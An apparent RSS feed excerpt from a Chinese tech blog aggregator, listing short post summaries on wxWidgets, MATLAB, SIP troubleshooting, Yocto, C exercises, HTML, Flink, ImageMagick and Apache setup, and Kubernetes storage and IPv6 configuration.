      <description>代码：&#xA;void wxTestDialog::OnPaint(wxPaintEvent&amp;amp; event) { /* wxPaintDC */ wxPaintDC dc(this); /* 准备wxMemoryDC */ wxMemoryDC memDC; wxRect rect = this-&amp;gt;GetRect(); wxBitmap bitmap(rect.GetSize()); memDC.SelectObject(bitmap); /* 开始绘图 */ memDC.SetBackground(*wxRED_BRUSH); memDC.Clear(); double r = 5; wxCoord x, y, lstX, lstY; memDC.SetPen(*wxWHITE_PEN); for (int a = 0; a &amp;lt;= 720; ++ a) { double b = a * 3.1415 / 180; x = cos(b) * r; y = sin(b) * r; if(a != 0) { memDC.</description>
    </item>
    <item>
      <title>matlab如何实现不同的值显示不同的颜色</title>
      <link>https://bchobby.github.io/posts/5b6bd3168427152ed39346213eeca69c/</link>
      <pubDate>Wed, 20 Apr 2022 15:10:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b6bd3168427152ed39346213eeca69c/</guid>
      <description>举例一 一、视图 二、代码 作者：CoderMan 链接：https://www.zhihu.com/question/503639152/answer/2257427351 来源：知乎 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。 clear;clc; [x, y, z] = peaks(30); min_z = min(z(:)); max_z = max(z(:)); % 映射到 0 - 1 z = (z - min_z) ./ (max_z - min_z); % 映射到 0 - 1000 z = z * 1000; % 颜色 简单起见 设置成数据范围大小的数组 c_map = zeros(1000, 3); % 绿色 c_map(1:160, :) = repmat([0, 1, 0], 160, 1); % 蓝色 c_map(161:260, :) = repmat([0, 1, 1], 100, 1); % 黄色 c_map(261:530, :) = repmat([1, 1, 0], 270, 1); % 红色 c_map(530:end, :) = repmat([1, 0, 0], 471, 1); subplot(1, 2, 1) surf(x, y, z); colormap(c_map) colorbar shading interp subplot(1, 2, 2) contourf(x, y, z); colormap(c_map) colorbar 举例二、MATLAB画二维线条渐变颜色</description>
    </item>
    <item>
      <title>SIP语音环境中十大经典问题及解决办法</title>
      <link>https://bchobby.github.io/posts/992c0c370cc3fe8ab0be3ac101a044ce/</link>
      <pubDate>Wed, 20 Apr 2022 12:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/992c0c370cc3fe8ab0be3ac101a044ce/</guid>
      <description>在VOIP的环境中，特别是基于SIP通信的环境中，我们经常会遇到一些非常常见的问题，例如，单通，30秒就断线，注册问题，回声等。这些问题事实上都有非常直接的排查方式和解决办法，用户可以按照一定的排查方式，工具非常高效地解决这些问题。但是，因为读者技术水平参差不齐，网络上的很多技术也不完整。笔者今天系统归纳了这些问题。根据一些用户的使用环境和用户经常遇到一些问题，我们列举了以下十个在SIP呼叫中经常遇到的问题，并且给出了相应的排查方式，博主weixin@yuyinjiqiren用户可以按照这些方法来解决SIP通话中的这些问题。这十个经典的问题包括：&#xA;不能注册或呼叫到SIP服务器端&#xA;30秒挂断呼叫的黄金法则&#xA;咬线或摘机状态&#xA;单通或无语音&#xA;收到400 bad request&#xA;收到413，513 Request Entity Too Large或Message Too Large消息&#xA;收到408， 480或者487 消息&#xA;483 - Too Many Hops&#xA;488 – Not Acceptable Here&#xA;语音质量和思科语音文件示例分享&#xA;这里，读者一定要注意，我们这里仅讨论关于SIP环境中的常见问题，博主weixin@yuyinjiqiren可能涉及网络环境或者硬件终端的问题，因为很多厂家和SIP服务器的配置不同，可能存在一定的差异，所以用户在我们的方法中特别需要根据厂家的不同，增加一些专门针对每个厂家或者SIP服务器的排查方式。我们仅讨论一般情况下的排查方式。&#xA;1&#xA;在一般的SIP 环境中，通常来说，SIP 终端需要注册到SIP服务器端来实现认证，服务器端获得SIP终端的位置，然后才能进行正常的呼叫流程。注册问题可能有以下几种呈现方式：&#xA;不能注册，完全没有和SIP服务器连接。如果终端发送注册消息给服务器端时，双方完全可能完全没有实现通讯。用户需要在服务器端通过日志排查方式，检查SIP终端是否有注册消息进入到服务器端，或者SIP终端通过网络工具对服务器端进行排查，例如使用Ping 命令。如果连Ping命令都检测不到服务器地址，基本上可以断定SIP终端根本没有和服务器端连接。关于服务器端排查方式很多，最典型的就是使用的Asterisk，FreeSWITCH，OpenSIPS或者Kamailio等开源的软交换平台。每个平台都有各自的排查命令，用户可以参考官方手册来判断。当然，用户也可以使用linux排查工具对5060端口抓包排查（例如，sngrep）。本人非常推荐这个工具，非常好用，可以实时检查SIP消息。&#xA;SIP终端发出了注册消息，但是SIP服务器端没有返回的消息。如果SIP终端对SIP服务器端发送了注册消息，但是服务器端没有返回响应消息，则可能是服务器端的问题。用户需要排查服务器端为什么没有返回消息，或者在返回路径上的节点是否出现了问题。&#xA;客户端收到错误消息，收到太多401/407 Unauthorized。SIP终端在注册时，如果用户的安全设置出现了错误，可能导致服务器端发送多个 401 错误。服务器端第一次发送到是正常的401验证信息，如果连续多次发送401/407 错误的话，可能是SIP终端输入了错误的用户账号信息，SIP终端侧需要配合服务器端进行排查，也可能服务器端的SIP账号消息保存错误，或者没有重新加载服务器相应模块，用户最好通过服务器端的CLI命令来检查内存中的SIP终端的真实数据信息。&#xA;客户端收到403 Forbidden 消息。如果用户帐户信息没有问题的话，SIP终端可能没有输入正确的From domain或者R-URI。有时，服务器端禁止同时注册几个SIP终端账号，或者注册过于频繁，服务器端可能过滤了此地址。需要用户配合服务器端地址进行进一步检查。这里，笔者仅讨论注册阶段出现的403 问题，当然也可能是系统防火墙或者其他的配置禁止了注册消息。如果是呼叫时出现403的话，则可能是另外的原因，例如可能欠费，可能呼叫了服务器端禁止的号码码位等其他因素。&#xA;2&#xA;我们经常会遇到客户抱怨这样的问题，电话通话时，在大概30秒左右就断线。这样的问题最主要的原因是SIP终端没有收到ACK消息。SIP终端发送了 200 OK以后就开始了媒体的创建，RTP语音流开始启动，事实上，SIP终端可能还没有收到ACK消息，因此在30秒左右，没有收到消息的一方就发送了一个BYE消息。那么，为什么我们没有收到ACK消息呢？&#xA;具体的场景如下两种示例，返回时因为NAT问题导致ACK没有办法返回到相应的终端：&#xA;在很多应用场景中，用户可能遇到更为复杂的NAT环境，如果其中一个代理出现了NAT处理无效的结果，就可能导致整个SIP信令路径出现ACK丢失的问题。&#xA;一般情况下，缺少ACK消息的原因主要来自于以下几个方面：&#xA;Contact header 错误&#xA;客户端没有支持router header&#xA;网关在NAT后&#xA;Contact header 的地址在NAT后&#xA;以上几种情况都需要用户排查网络环境和NAT设置。因为NAT问题，ACK返回的路径地址发生了改变，所以SIP终端没有收到ACK消息。&#xA;一些厂家的设备或者媒体服务器也有类似的设置，例如Lync 服务器，它支持了RTCP 呼叫活动检测功能，如果超过30秒的检测周期没有收到RTCP数据包，则会挂机。在开源Asterisk平台上，RTP的默认设置时间为30秒，一些SIP运营商可能会忽略UPDTAE消息，在SIP的设置中可以对其进行设置调整disallowed_methods=UPDATE 或SIP的会话定时器设置。&#xA;3</description>
    </item>
    <item>
      <title>Yocto中常用命令和知识速查</title>
      <link>https://bchobby.github.io/posts/3a39caa945dc4b494734ba4fd16d3c16/</link>
      <pubDate>Wed, 20 Apr 2022 10:55:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a39caa945dc4b494734ba4fd16d3c16/</guid>
      <description>查看内核代码位置 bitbake -e linux-s32 | grep ^S=&#xA;重新编译内核和dtb bitbake linux-s32 -C compile -f&#xA;查找精确的软件包名字 bitbake -s | grep linux&#xA;查找软件包任务配置 find -name linux-s32*.bb&#xA;查看软件包支持哪些可执行的动作 bitbake &amp;lt;软件包名字&amp;gt; -c listtasks&#xA;yocto中rpm包管理 http://static.kancloud.cn/digest/yocto/138638&#xA;显示层 bitbake-layers show-layers&#xA;显示所有task bitbake-layers show-recipes&#xA;查找软件包： oe-pkgdata-util find-path /usr/bin/nc.netcat&#xA;查看软件包部署哪些文件： oe-pkgdata-util list-pkg-files&#xA;批量查找二进制文件所属的软件包 cat ~/work/f | xargs -d\n -n1 oe-pkgdata-util find-path&#xA;f文件内容： /bin/dnsdomainname /bin/hostname.net-tools /bin/su /bin/su.shadow ... ... 批量查找rootfs里面有没有二进制文件 cat ~/work/binarys | xargs -d\n -n1 find -name | sort</description>
    </item>
    <item>
      <title>python 基于标签的推荐Tag-based及SimpleTagBased、TagBased-TFIDF等算法实现</title>
      <link>https://bchobby.github.io/posts/d7e06c3be84a6be639dd851c47be4547/</link>
      <pubDate>Wed, 20 Apr 2022 10:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7e06c3be84a6be639dd851c47be4547/</guid>
      <description>python 基于标签的推荐Tag-based及SimpleTagBased、TagBased-TFIDF等算法实现 1. 概览2. 基本概念2.1 用户画像2.1.1 定义2.1.2 步骤2.1.3 标签来源2.1.4 标签相关的数据结构2.1.5 如何给用户推荐标签 2.2 Simple Tag-based2.2.1 计算公式 2.3 Norm Tag-based2.3.1 计算公式 2.4 Tag-based TFIDF2.4.1 计算公式 3. 代码实现3.1 数据介绍 3.2 基于pandas dataframe的标签推荐3.2.1 python代码3.2.2 结果展示 1. 概览 本篇主要介绍关于推荐算法相关的知识：基于标签的推荐，涉及了3个原理较简单的计算方法（Simple Tag-based、Normal Tag-based、Tag-based-Tfidf ），以及基于pandas dataframe的python代码实现。&#xA;dataframe的效率比用字典实现低很多，主要是因为该算法涉及到较多的取值操作，字典的取值的平均时间复杂度当然要比dataframe用loc快很多。&#xA;2. 基本概念 2.1 用户画像 2.1.1 定义 用户画像毋庸置疑，即是对用户行为特征的总结归纳和描述，以更好的提升业务质量。&#xA;2.1.2 步骤 定义全局的用户唯一标识id（例如身份证、手机号、用户id等）给用户打标签根据标签为为业务带来不同阶段的收益。在用户生命周期的3个阶段：获客、粘客、留客 中，根据各类的用户数据对用户进行标签化、用户画像等，尽最大限度对用户进行留存。 2.1.3 标签来源 PGC：通过工作人员进行打标签（质量高，数据规范）&#xA;通过聚类算法对物品进行降为形成不同的标签。物品的标签化，本身是对物品的降维，所以可以利用聚类、降维的方法进行物品标签的生成。目前主流的聚类方法有：Kmeans，EM，DBScan，层级聚类，PCA等等。&#xA;UGC：通过用户进行打标签（质量低，数据不规范）&#xA;2.1.4 标签相关的数据结构 用户打标签的记录【user_id, item_id, tag】用户打过的标签【user_id, tag】用户打过标签的item【user_id, item】打上某标签的item【tag, item】同样打过某标签的用户【tag, user_id】 2.1.5 如何给用户推荐标签 根据用户的标签行为数据，通过SimpleTagBased 、 NormTagBased 及 TagBased-TFIDF 等方法，当用户A给某item打了标签T，进行以下4种类型的推荐：</description>
    </item>
    <item>
      <title>TeamViewer删除信任设备</title>
      <link>https://bchobby.github.io/posts/a46ecea0edfd21e1283b3bf4e165a6a3/</link>
      <pubDate>Wed, 20 Apr 2022 09:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a46ecea0edfd21e1283b3bf4e165a6a3/</guid>
      <description>TeamViewer删除信任设备 因为TeamViewer免费版的设备限制在了2个，所以每次都会去删设备。&#xA;它的页面藏得真的深。&#xA;在右上角有个编辑配置文件&#xA;当时真的找了好久&#xA;就可以发现可信任设备 的选项了&#xA;最后选择你想删除了设备点击删除即可</description>
    </item>
    <item>
      <title>一维数组转为二维数组(3种方法)-基于C语言</title>
      <link>https://bchobby.github.io/posts/f223ca21d47189787929ef4b95224422/</link>
      <pubDate>Tue, 19 Apr 2022 22:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f223ca21d47189787929ef4b95224422/</guid>
      <description>问题引入 有时我们会遇到一维数组、二维数组、矩阵之间的相互转换问题，清楚的区分一维数组、二维数组的特点和操作方式便会轻松的处理问题。&#xA;例如：&#xA;一维数组：int a[12]={1,2,3,4,5,6,7,8,9,10,11,12}; //静态初始化&#xA;现在定义一个3行4列的二维数组：int b[3][4],那么如何将数组a中的元素分别存储到数组b中呢？基于此，我们采用3中形式实现，每一种形式原理相同，区别在于“赋值结构、形式”的变化。&#xA;代码实现 1.第1种方式（基础方法） （1）代码实现 #include&amp;lt;stdio.h&amp;gt; int main(){ printf(&#34;第 1 种方法：\n\n&#34;);&#x9;int i,j;//控制循环的变量 int a[12]={1,2,3,4,5,6,7,8,9,10,11,12};//一维数组 int b[3][4];//二维数组 int k=0;//控制数组a中数值位置 for(i=0;i&amp;lt;3;i++){ //控制行 for(j=0;j&amp;lt;4;j++){ //控制列 b[i][j]=a[k];//每行4个元素，赋完为止 k++; } } //输出查看 for(i=0;i&amp;lt;3;i++){ //控制行 for(j=0;j&amp;lt;4;j++){ //控制列 printf(&#34;%3d &#34;,b[i][j]); } printf(&#34;\n&#34;);//换行 } } （2）运行结果 2.第2种方式（借助边界） （1）代码实现 #include&amp;lt;stdio.h&amp;gt; int main(){ printf(&#34;第 2 种方法：\n\n&#34;); int i,j;//控制循环的变量 int a[12]={1,2,3,4,5,6,7,8,9,10,11,12};//一维数组 int b[3][4];//二维数组 for(i=0;i&amp;lt;12;i++){ //控制数组a b[0][i]=a[i]; //赋值 } //输出查看 for(i=0;i&amp;lt;3;i++){ //控制行 for(j=0;j&amp;lt;4;j++){ //控制列 printf(&#34;</description>
    </item>
    <item>
      <title>【HTML操作指南】</title>
      <link>https://bchobby.github.io/posts/3121885ee4492c9eb4b1d51aeecca7f5/</link>
      <pubDate>Tue, 19 Apr 2022 20:18:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3121885ee4492c9eb4b1d51aeecca7f5/</guid>
      <description>使用工具：VSCode&#xA;目录&#xA;一、快速生成HTML模板&#xA;二、在浏览器观察页面的基本结构&#xA;三、添加注释&#xA;四、标题标签&#xA;五、段落标签&#xA;六、标签，换行~&#xA;七、几种格式化标签&#xA;八、img图片标签&#xA;九、超链接标签&#xA;十、表格标签&#xA;十一、列表标签&#xA;十二、表单标签&#xA;十三、无语义标签&#xA;关于HTML的更多内容，参考以下文档：MDN HTML文档：HTML（超文本标记语言） | MD&#xA;一、快速生成HTML模板 输入！，并且按Tab，就可以生成一组默认的页面模板&#xA;二、在浏览器观察页面的基本结构 按F12，打开开发者工具~&#xA;通过修改title标签修改网页标题，boby标签内部为浏览器内容，此处文章内容为hello world~，页面标题为Test。&#xA;三、添加注释 注释是：&amp;lt;!-- --&amp;gt;&#xA;可以直接通过ctrl + / 来切换注释~~&#xA;可以看出，类似于IDEA，注释并不起到什么实质性的作业，网页中并不显示注释的内容~~~&#xA;注意：注释不能嵌套~&#xA;四、标题标签 h1-h6&#xA;数字越大，里面的内容，就越粗越大&#xA;数字越小，里面的内容，就越细细越小&#xA;输入标签名，按Tab就可以快速生成一对标签&#xA;五、段落标签 附加操作：每个段落首行缩进两个汉字：&#xA;HTML无法实现，需要搭配CSS来实现&#xA;六、标签，换行~ 在HTML中，换行会被直接忽略，要想内容中换行，需要使用&amp;lt;br&amp;gt;标签。&#xA;&amp;lt;br&amp;gt;标签是一个单标签，只有开始标签，没有结束标签。&#xA;在此处同时存在一个问题，HTML也会忽而略空格。会把多个相邻的空格，合并成一个空格。&#xA;如果想要使用多个空格，就需要使用转义字符。&#xA;除了空格之外，像&amp;lt;&amp;gt;&amp;amp;等这些特殊符号，就需要使用转义字符~&#xA;常见的几个转义字符：&#xA;几个空格，就几个转义字符~&#xA;七、几种格式化标签 页面效果如下： 这几个格式化标签，不是独占一行的，如果想要换行，就需要使用&amp;lt;br&amp;gt;标签~&#xA;八、img图片标签 下面对这些标签内的属性进行描述：&#xA;src：通过这个属性来指定一个具体的图片资源，写法格式参考文件操作时的文件路径选择~&#xA;alt：如果这个图片发生错误，则要描述一个内容，表示这个图片曾经存在过~&#xA;titile：光标放到图片之后，有一个小小的提示框~&#xA;width：表示宽度~&#xA;height：表示高度~&#xA;border：给图片加上边框~&#xA;下面来看页面效果：&#xA;九、超链接标签 &amp;lt;a href=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt;&#xA;href属性：双引号内部是是一个网页的网址。&#xA;标签内容：可以在页面中点击标签的内容进行页面跳转，从初始页面转到双引号内部的页面&#xA;页面如下：&#xA;此时可以点击这个超链接跳转至百度页面~</description>
    </item>
    <item>
      <title>等式约束二次规划——变量消除法和KKT法</title>
      <link>https://bchobby.github.io/posts/33b4e7530f79d289b1d80226042651d7/</link>
      <pubDate>Tue, 19 Apr 2022 17:09:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33b4e7530f79d289b1d80226042651d7/</guid>
      <description>等式约束二次规划 基本思想变量消除法对 A x = b Ax=b Ax=b的求解唯一解条件 KKT法拉格朗日法到KKT点两种方法的比较 基本思想 如果遇到这种简单的问题：&#xA;m i n x 1 2 + x 2 2 + x 1 + 2 x 2 s . t . x 1 + x 2 = 1 \begin{aligned} &amp;amp;min　x^2_1+x^2_2+x_1+2x_2 \\ &amp;amp;s.t.　x_1+x_2=1 \end{aligned} ​min　x12​+x22​+x1​+2x2​s.t.　x1​+x2​=1​&#xA;基本的思想就有两个，第一种是消除一个变量，这样就可以很简单的求解出来：&#xA;m i n ( 1 − x 2 ) 2 + x 2 2 + 1 − x 2 + 2 x 2 \begin{aligned} &amp;amp;min　(1-x_2)^2+x^2_2+1-x_2+2x_2 \end{aligned} ​min　(1−x2​)2+x22​+1−x2​+2x2​​</description>
    </item>
    <item>
      <title>Flink中Window的介绍和使用</title>
      <link>https://bchobby.github.io/posts/6c8ed1a8689905c5e6b33cdee0bf94fa/</link>
      <pubDate>Tue, 19 Apr 2022 17:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c8ed1a8689905c5e6b33cdee0bf94fa/</guid>
      <description>Flink中Window的介绍和使用 Flink中的窗口大致分为两类，分别是Keyed Windows和Non-Keyed Windows，接下来我们从其简单应用方面看看Window都包含哪些内容，基本的用法等。&#xA;1. 窗口分类 1. 按照使用场景分类 Keyed Windows：跟在KeyedStream后使用&#xA;stream .keyBy(...) &amp;lt;- keyed versus non-keyed windows .window(...) &amp;lt;- required: &#34;assigner&#34; [.trigger(...)] &amp;lt;- optional: &#34;trigger&#34; (else default trigger) [.evictor(...)] &amp;lt;- optional: &#34;evictor&#34; (else no evictor) [.allowedLateness(...)] &amp;lt;- optional: &#34;lateness&#34; (else zero) [.sideOutputLateData(...)] &amp;lt;- optional: &#34;output tag&#34; (else no side output for late data) .reduce/aggregate/apply() &amp;lt;- required: &#34;function&#34; [.getSideOutput(...)] &amp;lt;- optional: &#34;output tag&#34; Non-Keyed Windows：直接使用WindowAll&#xA;stream .windowAll(...) &amp;lt;- required: &#34;assigner&#34; [.</description>
    </item>
    <item>
      <title>有关【断点调试】的相关知识</title>
      <link>https://bchobby.github.io/posts/f70dd947b2843c648461d15d58e184d8/</link>
      <pubDate>Tue, 19 Apr 2022 14:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f70dd947b2843c648461d15d58e184d8/</guid>
      <description>目录&#xA;1 断点调试&#xA;2 Debug的优化设置：更加节省内存空间&#xA;3 条件判断&#xA;4 查看表达式的值&#xA;1 断点调试 调试Debug在开发中大量应用&#xA;作用&#xA;可以有效地看到程序运行的步骤，可以看到程序一步一步运行数据的变化。&#xA;断点调试按钮解释&#xA;步骤：&#xA;打断点-------&amp;gt;Debug&#xA;一步一步的向下运行代码，不会走入任何方法中。&#xA;一步一步的向下运行代码，不会走入系统类库的方法中，但是会走入自定义的方法中。&#xA;一步一步的向下运行代码，会走入系统类库的方法中，也会走入自定义的方法中。&#xA;跳出方法&#xA;结束程序&#xA;进入到下一个断点，如果没有下一个断点了，就直接运行到程序结束。&#xA;在当前次取消未执行的断点。&#xA;2 Debug的优化设置：更加节省内存空间 Debug的优化设置：更加节省内存空间：&#xA;设置Debug连接方式，默认是Socket。 Shared memory是Windows 特有的一个属性，一般在Windows系统下建议使用此设置，&#xA;内存占用相对较少。&#xA;3 条件判断 【1】条件判断：&#xA;说明:&#xA;调试的时候，在循环里增加条件判断，可以极大的提高效率，心情也能惧悦。 具体操作: 在断点处右击调出条件断点。可以在满足某个条件下，实施断点。 4 查看表达式的值 【1】查看表达式的值：&#xA;选择行，alt+f8。</description>
    </item>
    <item>
      <title>echarts 自定义平均线值</title>
      <link>https://bchobby.github.io/posts/277ea8947471b845f49f91dfb348caa1/</link>
      <pubDate>Tue, 19 Apr 2022 10:58:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277ea8947471b845f49f91dfb348caa1/</guid>
      <description>项目的需求是设定一个 预算日均值线 ，虽然是日均，但是和查询出来的每日数据毫无关系，并不是每日数据的均值，如果直接按照echarts中：&#xA;series : [ { name:&#39;示例&#39;, type:&#39;line&#39;, data:[10,20,30,40], markLine : { data : [ { type : &#39;average&#39;, name: &#39;平均值&#39; } ] } } ] 这样的 均值线 的数值是 data中数据的平均值，达不到我想要的自定义数据的要求。（值不能自定义）&#xA;有些查询结果是利用 label 中的 formatter 自定义了一个显示结果，举个例子：&#xA;如刚刚 data:[10,20,30,40], 实际的均值是 25 ，但是我想要的均值线是 28 ，于是我就把显示的 25更换为想要的数据。&#xA;这样有一个巨大的弊端，就是数据的实质还是25，它的位置永远都是25，不会因为你修改了而改变，所以一旦你的均值线数据是 35 ，图表上依然在 25 的位置，一眼假。（位置不正确）&#xA;正确的方法应该是：&#xA;如图，设置对应的yAxis值就可以得到想要的均值线（值自定义 且 在正确的位置），完整如下&#xA;markLine: { data: [ { yAxis: **值** } ] } 补充：也可以做一条数据恒定得折线，变相得到直线</description>
    </item>
    <item>
      <title>linux安装imageMagick以及安装php扩展</title>
      <link>https://bchobby.github.io/posts/a63937a3122000a9ad2ab1ef658be9f5/</link>
      <pubDate>Tue, 19 Apr 2022 10:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a63937a3122000a9ad2ab1ef658be9f5/</guid>
      <description>背景： 因为项目要加水印，所以才有以下事情。&#xA;首先，使用的是php的gd库，但服务器环境上的gd库没有webp格式处理函数，而且gd库是连同php源码一起安装，所以无法处理webp格式。后来使用，imageMagick，是高效处理图片的应用。在本地安装，使用没问题，线上服务器时候，发现缺少处理webp格式的相关扩展。怀疑有三： 是系统类库里，或者imageMagi，缺少对webp图片格式的支持是安装imageMagic，时候缺少相关安装命令是imageMagic版本问题 目前问题定位并没有解决，相关试错成本太高，而且没有意义，结论成功能用就行&#xA;安装流程 1，下载&amp;amp;&amp;amp;安装imagegick&#xA;wget https://www.imagemagick.org/download/ImageMagick.tar.gz tar -xvfz ImageMagick.tar.gz cd ImageMagick-7.0.10-28 ./configure --prefix=/usr/local/imagemagick --with-webp=yes // 重要，这行 make &amp;amp;&amp;amp; make install 2，安装php-imagick扩展(使用pecl安装）&#xA;pecl install imagick /usr/local/imagemagick 在php.ini中加入这个行extension=imagick.so 3,查看支持的格式&#xA;imagegick： convert -list formatphp --ri imagick&#xA;4，若是缺少webp库类，可以通过yum安装 yum -y install libwebp-devel libwebp-tools PS：源码安装php-imagick扩展&#xA;链接: 源码安装——php-imagick扩展.</description>
    </item>
    <item>
      <title>Windows下安装 Apache 步骤</title>
      <link>https://bchobby.github.io/posts/cedda9a9b51ff934c6d93863337ee476/</link>
      <pubDate>Tue, 19 Apr 2022 10:09:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cedda9a9b51ff934c6d93863337ee476/</guid>
      <description>1，官网地址下载：&#xA;https://www.apachehaus.com/cgi-bin/download.plx 2，本地解压&#xA;3，打开 安装目录\conf\httpd.conf，修改以下信息(修改 ROOT 路径)&#xA;4，进入 bin 路径下，以管理员身份打开终端：输入&#xA;httpd.exe -k install -n &#34;MyServiceName&#34; 把 Apache 当作一个 Windows NT 服务来运行，MyServiceName 为服务名，可以自定义，安装后直接下次启动apache时，直接调用相关服务名即可&#xA;5，apache 服务器卸载&#xA;httpd.exe -k uninstall -n &#34;MyServiceName&#34; 6，启动apache 之前， 可以测试 apache 服务配置文件是否合法，测试命令：&#xA;httpd.exe -n &#34;MyServiceName&#34; -t 7，启动 apache 命令&#xA;httpd.exe -k start -n &#34;MyServiceName&#34; 8，停止 apache 命令&#xA;httpd.exe -k stop -n &#34;MyServiceName&#34; 或&#xA;httpd.exe -k shutdown -n &#34;MyServiceName&#34; 9，当修改完 apache 配置文件后，可以用以下命令启动 apache&#xA;httpd.exe -k restart -n &#34;MyServiceName&#34; 10，apache 启动后可以 任意打开一个浏览器，输入 localhost 来进行测试，出现类似于下面，欢迎页界面，代表已经安装成功了。</description>
    </item>
    <item>
      <title>C语言求“水仙花”数（详细）</title>
      <link>https://bchobby.github.io/posts/06f78620b0f8342ba29279c019343b9d/</link>
      <pubDate>Mon, 18 Apr 2022 23:41:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06f78620b0f8342ba29279c019343b9d/</guid>
      <description> 问题分析 “水仙花数”是指一个三位数，其每位数字的立方和等于该数本身。例如：153是一个“水仙花数”，因为153=1的三次方＋5的三次方＋3的三次方。 基于此，利用for循环控制100-999个数，每个数分解出个位，十位，百位，再分别求立方相加并判断即可。&#xA;代码实现 //导入头文件 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; //主函数 int main(){ int i,j,k,n,sumi,sumj,sumk;//定义7个整型数据 printf(&#34;\n100-1000 包含的“水仙花”数分别有： \n\n&#34;); for(n=100;n&amp;lt;1000;n++){ //循环求数字个位、十位、百位上的数字 i=n/100;//求百位 j=n/10%10; //求十位 k=n%10; //求个位 //求i、j、k的立方和 sumi=i*i*i;//求个位立方和 sumj=j*j*j;//求十位立方和 sumk=k*k*k;//求百位立方和 //判断是否为 水仙花数 if(n==sumi+sumj+sumk){ printf(&#34;%-5d&#34;,n);//输出 水仙花数 } } printf(&#34;\n&#34;);//换行 return 0; } 运行结果 </description>
    </item>
    <item>
      <title>[Emacs系列]：配置Python开发环境指南（一）</title>
      <link>https://bchobby.github.io/posts/601a1766a48b51069bb28f357b5528ea/</link>
      <pubDate>Mon, 18 Apr 2022 23:07:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/601a1766a48b51069bb28f357b5528ea/</guid>
      <description> 环境 系统：Ubuntu 22.04&#xA;Python版本：3.10.4&#xA;安装lsp-mode及lsp-pylsp 第一步 使用use-package安装lsp-mode&#xA;(use-package lsp-mode) 或者&#xA;M-x package-list-packages查找lsp-mode并安装&#xA;注：查找快捷键C-s （ctrl+s） 第二步 参考Python-LSP-Server并安装python-lsp-server&#xA;依次执行以下命令：&#xA;pip install -U setuptools pip install &#39;pyhon-lsp-server[all]&#39; pip install pylint #按照github上的安装步骤完成后，打开emacs会报错 按照错误提示安装pylint pip install pylint --upgrade pip install pyls 如果提示警报：&#xA;WARNING: The script pylsp is installed in &#39;/home/chen/.local/bin&#39; which is not on PATH. 在终端依次输入：&#xA;echo echo &#39;export PATH=/home/chen/.local/bin:$PATH&#39; &amp;gt;&amp;gt;~/.bashrc # /home/username/.local/bin chen为我的用户名 source ~/.bashrc 再一次重复按转步骤&#xA;安装完成 </description>
    </item>
    <item>
      <title>配置 Pod 以使用 PersistentVolume 作为存储</title>
      <link>https://bchobby.github.io/posts/f4bc83fe1fd32d082268ae009eed1d62/</link>
      <pubDate>Mon, 18 Apr 2022 21:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4bc83fe1fd32d082268ae009eed1d62/</guid>
      <description>最近了解这个k8s在PVC存储这儿卡了两天，今天终于算是大概搞明白是个怎么回事了。&#xA;以下是该过程的总结：&#xA;创建由物理存储支持的 PersistentVolume。你不会将卷与任何 Pod 关联。&#xA;创建一个 PersistentVolumeClaim， 它将自动绑定到合适的 PersistentVolume。&#xA;创建一个使用 PersistentVolumeClaim 作为存储的 deployment&#xA;https://kubernetes.io/zh/docs/tasks/configure-pod-container/configure-persistent-volume-storage/&#xA;原理图 路径说明/mnt/data本地主机上的目录/app/wizminikube容器里的路径/wiz/storage/pod的路径 步骤 镜像拉取 这里以WIZ为测试,具体可以参考为知笔记docker私有化部署 docker pull wiznote/wizserver minikube 挂载本地目录 启动挂载 minikube start --mount --mount-string=&#34;/mnt/data:/app/wiz&#34; 验证 minikube ssh cd /app/wiz # 创建一个文件再去主机上 /mnt/data 查看是否存在即可 PV 创建 配置文件wiz-pv.yaml apiVersion: v1 kind: PersistentVolume metadata: name: wiz-pv-volume labels: type: local spec: storageClassName: manual capacity: storage: 10Gi accessModes: - ReadWriteOnce hostPath: path: &#34;/app/wiz&#34; 部署 kubectl create -f wiz-pv.yaml 查看 kubectl get pv 删除 kubectl delete pv wiz-pv-volume PVC 创建 配置文件wiz-pvc.</description>
    </item>
    <item>
      <title>K8S建立ipv6集群</title>
      <link>https://bchobby.github.io/posts/91b2f9416c2472f4747fe9fc9e50aff0/</link>
      <pubDate>Mon, 18 Apr 2022 20:16:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91b2f9416c2472f4747fe9fc9e50aff0/</guid>
      <description>前言 本文讲述使用kubernetes建立纯ipv6的集群，以及ipv6网络插件该如何设置。&#xA;实验环境 我所使用的平台是VMware，在其中创建了CentOS7的虚拟机，在上面进行实验部署。在创建虚拟机的时候需要支持ipv6网络，我所设置的网络模式为NAT模式，然后在虚拟网络编辑器里选择NAT设置，如下图所示：&#xA;然后选择启用IPv6，如下图所示：&#xA;之后启动虚拟机，使用ifconfig命令可以看到ipv6地址&#xA;然后在每台虚拟机上开启ipv6转发&#xA;sysctl -w net.ipv6.conf.all.forwarding=1 部署集群 首先在充当master节点的主机上建立一个kubeadm-config.yaml的kubeadm配置文件，其中的ipv6地址需要改成你自己主机的ipv6地址&#xA;apiVersion: kubeadm.k8s.io/v1beta3 kind: InitConfiguration localAPIEndpoint: advertiseAddress: &#34;fd15:4ba5:5a2b:1008:4822:2bad:440e:88d7&#34; bindPort: 6443 nodeRegistration: kubeletExtraArgs: node-ip: fd15:4ba5:5a2b:1008:4822:2bad:440e:88d7 --- apiVersion: kubeadm.k8s.io/v1beta3 kind: ClusterConfiguration kubernetesVersion: v1.23.5 networking: podSubnet: 